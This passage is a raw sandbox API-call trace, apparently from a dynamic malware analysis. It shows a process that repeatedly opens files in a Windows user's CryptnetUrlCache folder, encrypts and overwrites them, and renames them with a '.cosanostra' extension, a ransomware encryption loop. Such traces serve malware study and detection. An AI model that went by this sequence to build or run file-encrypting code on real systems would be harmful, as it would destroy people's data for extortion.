HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 152 [0102.223] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpSrch=".txt") returned 0x0 [0102.224] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.224] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x251f07c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f07c*=0x186, lpOverlapped=0x0) returned 1 [0102.224] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.224] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f07c, lpOverlapped=0x0 | out: lpBuffer=0x251f0bc*, lpNumberOfBytesWritten=0x251f07c*=0x4, lpOverlapped=0x0) returned 1 [0102.224] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f07c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f07c*=0x30, lpOverlapped=0x0) returned 1 [0102.224] CloseHandle (hObject=0x15c) returned 1 [0102.224] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1.cosanostra") returned 163 [0102.224] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_50167909fcfe0c66153f1901439cbba1"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_50167909fcfe0c66153f1901439cbba1.cosanostra")) returned 1 [0102.225] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0b8 | out: pbBuffer=0x251f0b8) returned 1 [0102.225] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0b0*=0x30) returned 1 [0102.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_294110d6990ee392327f8a606d55bc1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.226] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 152 [0102.226] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpSrch=".txt") returned 0x0 [0102.227] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.227] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x251f074, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f074*=0x186, lpOverlapped=0x0) returned 1 [0102.227] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.227] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f074, lpOverlapped=0x0 | out: lpBuffer=0x251f0b4*, lpNumberOfBytesWritten=0x251f074*=0x4, lpOverlapped=0x0) returned 1 [0102.227] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f074, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f074*=0x30, lpOverlapped=0x0) returned 1 [0102.227] CloseHandle (hObject=0x15c) returned 1 [0102.227] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E.cosanostra") returned 163 [0102.227] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_294110d6990ee392327f8a606d55bc1e"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_294110d6990ee392327f8a606d55bc1e.cosanostra")) returned 1 [0102.228] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0b8 | out: pbBuffer=0x251f0b8) returned 1 [0102.228] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0b0*=0x30) returned 1 [0102.228] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_234cb5d64705d4dbb4da839716359af0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.229] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 152 [0102.229] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpSrch=".txt") returned 0x0 [0102.230] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.230] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x251f074, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f074*=0x182, lpOverlapped=0x0) returned 1 [0102.230] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.230] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f074, lpOverlapped=0x0 | out: lpBuffer=0x251f0b4*, lpNumberOfBytesWritten=0x251f074*=0x4, lpOverlapped=0x0) returned 1 [0102.230] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f074, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f074*=0x30, lpOverlapped=0x0) returned 1 [0102.231] CloseHandle (hObject=0x15c) returned 1 [0102.231] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0.cosanostra") returned 163 [0102.231] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_234cb5d64705d4dbb4da839716359af0"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_234cb5d64705d4dbb4da839716359af0.cosanostra")) returned 1 [0102.232] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0b0 | out: pbBuffer=0x251f0b0) returned 1 [0102.232] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0a8*=0x30) returned 1 [0102.232] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7d266d9e1e69fa1eefb9699b009b34c8_1d5a876a9113ec07224c45e5a870e3bd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.233] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 152 [0102.233] StrStrW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpSrch=".txt") returned 0x0 [0102.234] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.234] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x251f06c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f06c*=0x198, lpOverlapped=0x0) returned 1 [0102.234] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.234] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f06c, lpOverlapped=0x0 | out: lpBuffer=0x251f0ac*, lpNumberOfBytesWritten=0x251f06c*=0x4, lpOverlapped=0x0) returned 1 [0102.234] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f06c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f06c*=0x30, lpOverlapped=0x0) returned 1 [0102.234] CloseHandle (hObject=0x15c) returned 1 [0102.234] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD.cosanostra") returned 163 [0102.234] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7d266d9e1e69fa1eefb9699b009b34c8_1d5a876a9113ec07224c45e5a870e3bd"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7d266d9e1e69fa1eefb9699b009b34c8_1d5a876a9113ec07224c45e5a870e3bd.cosanostra")) returned 1 [0102.235] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0b0 | out: pbBuffer=0x251f0b0) returned 1 [0102.235] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0a8*=0x30) returned 1 [0102.235] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7d266d9e1e69fa1eefb9699b009b34c8_0a9bfdd75b598c2110cbf610c078e6e6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.236] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 152 [0102.236] StrStrW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpSrch=".txt") returned 0x0 [0102.236] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.237] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x194, lpNumberOfBytesWritten=0x251f06c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f06c*=0x194, lpOverlapped=0x0) returned 1 [0102.237] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.237] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f06c, lpOverlapped=0x0 | out: lpBuffer=0x251f0ac*, lpNumberOfBytesWritten=0x251f06c*=0x4, lpOverlapped=0x0) returned 1 [0102.237] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f06c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f06c*=0x30, lpOverlapped=0x0) returned 1 [0102.237] CloseHandle (hObject=0x15c) returned 1 [0102.237] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6.cosanostra") returned 163 [0102.237] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7d266d9e1e69fa1eefb9699b009b34c8_0a9bfdd75b598c2110cbf610c078e6e6"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7d266d9e1e69fa1eefb9699b009b34c8_0a9bfdd75b598c2110cbf610c078e6e6.cosanostra")) returned 1 [0102.238] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0a8 | out: pbBuffer=0x251f0a8) returned 1 [0102.238] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0a0*=0x30) returned 1 [0102.238] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b8944ba8ad0efdf0e01a43ef62becd0_b2db1cc4b5f2d2a802d56aaed525802d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.239] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 152 [0102.239] StrStrW (lpFirst="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpSrch=".txt") returned 0x0 [0102.239] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.240] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x194, lpNumberOfBytesWritten=0x251f064, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f064*=0x194, lpOverlapped=0x0) returned 1 [0102.240] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.240] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f064, lpOverlapped=0x0 | out: lpBuffer=0x251f0a4*, lpNumberOfBytesWritten=0x251f064*=0x4, lpOverlapped=0x0) returned 1 [0102.240] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f064, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f064*=0x30, lpOverlapped=0x0) returned 1 [0102.240] CloseHandle (hObject=0x15c) returned 1 [0102.240] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D.cosanostra") returned 163 [0102.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b8944ba8ad0efdf0e01a43ef62becd0_b2db1cc4b5f2d2a802d56aaed525802d"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b8944ba8ad0efdf0e01a43ef62becd0_b2db1cc4b5f2d2a802d56aaed525802d.cosanostra")) returned 1 [0102.241] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0a8 | out: pbBuffer=0x251f0a8) returned 1 [0102.241] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0a0*=0x30) returned 1 [0102.241] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.242] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 119 [0102.242] StrStrW (lpFirst="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpSrch=".txt") returned 0x0 [0102.243] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffff24, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.243] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xdc, lpNumberOfBytesWritten=0x251f064, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f064*=0xdc, lpOverlapped=0x0) returned 1 [0102.243] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.243] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f064, lpOverlapped=0x0 | out: lpBuffer=0x251f0a4*, lpNumberOfBytesWritten=0x251f064*=0x4, lpOverlapped=0x0) returned 1 [0102.243] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f064, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f064*=0x30, lpOverlapped=0x0) returned 1 [0102.243] CloseHandle (hObject=0x15c) returned 1 [0102.244] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.cosanostra") returned 130 [0102.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9.cosanostra")) returned 1 [0102.244] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0a0 | out: pbBuffer=0x251f0a0) returned 1 [0102.244] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f098*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f098*=0x30) returned 1 [0102.245] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7423f88c7f265f0defc08ea88c3bde45_d975bba8033175c8d112023d8a7a8ad6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.245] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 152 [0102.245] StrStrW (lpFirst="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpSrch=".txt") returned 0x0 [0102.246] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 